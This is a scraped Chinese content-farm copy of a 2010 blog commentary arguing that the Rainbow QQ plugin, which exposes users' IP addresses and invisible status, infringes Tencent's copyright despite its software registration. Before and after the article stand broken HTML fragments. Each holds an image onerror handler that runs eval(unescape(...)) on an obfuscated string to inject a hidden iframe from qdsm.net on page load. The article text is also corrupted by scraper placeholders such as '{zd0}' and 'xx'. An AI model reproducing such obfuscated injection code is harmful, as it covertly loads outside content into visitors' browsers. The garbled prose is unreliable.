张樊:彩虹外挂合法化是在混淆视听- 信用卡资讯- weakness - 和讯博客
张樊:彩虹外挂合法化是在混淆视听 [转贴 2010-02-16 17:52:05]   
张樊:彩虹外挂合法化是在混淆视听

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

腾讯终于出手了,启动了多项打击QQ外挂措施,首当其冲的是“显示用户IP地址”、“显示用户是否隐身”等功能的彩虹版QQ外挂。相比较珊瑚虫 QQ,彩虹版QQ并没有将腾讯原版QQ打包提供下载,而是以一种独立外挂的形式提供,使用者需自己事先去下载腾讯原版QQ,这使得法律上的性质相对复杂一些。尽管如此,也不能洗脱彩虹外挂对腾讯QQ著作权及相关权益的侵犯。

首先,彩虹版QQ外挂属于一种非法外挂。我们现在对外挂的认识一般都集中在网络游戏领域。在网络游戏领域内,外挂非常多,给网络游戏厂商的利益造成了极大的侵害。包括国家新闻出版总署、信产部等在内的五部委曾经联合发布过《关于开展对“私服”、“外挂”专项治理的通知》,开展过多次专项打击行动。在该通知中,明确指出了“私服”、“外挂”行为的严重违法性,即“私服”、“外挂”违法行为是指未经许可或授权,破坏合法出版、他人享有著作权的互联网游戏作品的技术保护措施、修改作品数据、私自架设服务器、制作游戏充值卡(点卡),运营或挂接运营合法出版、他人享有著作权的互联网游戏作品,从而谋取利益、侵害他人利益。

外挂已经逐渐从网络游戏领域延伸到其它的网络软件领域,QQ软件作为全国用户数最多的即时通讯软件,也就成为了不少外挂开发者所重点瞄准对象,希望在QQ软件上开发外挂来谋取非法利益。彩虹版QQ外挂属于其中影响{zd0}的一个,严重侵犯了腾讯QQ软件的著作权以及侵扰了QQ软件的正常运营。

彩虹版QQ外挂的违法性主要要从该外挂给QQ软件的著作权及其运营的非法侵扰上去判断。彩虹版QQ外挂显IP和查看隐身好友的功能,都会涉及到对腾讯软件QQ软件客户端、服务器端的有关数据进行复制并修改,这些都没有得到腾讯公司的许可,是对QQ软件的复制权和修改权的侵犯。再则,因为彩虹版QQ外挂显IP和查看隐身好友的功能实现,让网友的上网地址等隐私问题xx公开,个人数据资料泄露并产生相关的安全问题,造成用户的利益受损,由此带来大量的投诉,给腾讯公司的正常运营造成严重的损害。

其次,彩虹版QQ外挂在拿着是“国家版权局软件著作权登记的合法的软件”来混淆视听。彩虹般QQ外挂作为一个非法外挂产品,是不能因为获得软件著作权登记而来洗脱其对腾讯公司的侵权责任的。需要明白的一点,所谓的软件著作权登记只是初步证明著作权人对某款计算机软件所享有的各项著作权,而不能就据此就认定该软件没有侵犯到其它著作权人的相关权利。软件著作权登记之时,登记机构中国版权保护中心只是对软件做形式审查,而不进行实质审查,也就是说“审查是对软件著作权登记申请者提交的申请文件是否符合登记要求进行查验核对。不对申请者提供的形式上符合要求的申请文件涉及的事项的真实性进行核实”(《中国版权保护中心计算机软件著作权登记审查规范》{dy}款第二项)。由此可见,中国版权保护中心颁发软件著作权登记证根本就不去审查该软件是否会对其它软件的著作权人权利造成侵害,拿着软件著作权登记证来说明自己的合法性xx是在混淆视听,51.com在围绕此事声明中所主张彩虹版QQ外挂合法性的{zd0}依据也就不成立了。同时,《计算机软件著作权登记办法》中规定了,国家版权局可以根据“最终的司法判决”、“著作权行政管理部门作出的行政处罚决定”来撤销登记,在一旦诉诸法庭,彩虹版QQ外挂被认定侵权的情况下,51.com所谓的软件著作权登记证也将不保。

针对51.com,腾讯有民事、行政、刑事多种途径可以选择去解决。民事途径即腾讯向人民法院提请诉讼,去起诉51.com侵权著作权法的行为;行政、刑事途径即向国家有关版权执法部门及信息网络安全主管部门举报51.com的违法行为,由有关部门进行调查施以行政处罚,如果情节严重,司法机构可以以非法破坏计算机信息系统罪来追究其刑事责任。

(本文xx网络法博客)



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【张樊:彩虹外挂合法化是在混淆视听- 信用卡资讯- weakness - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——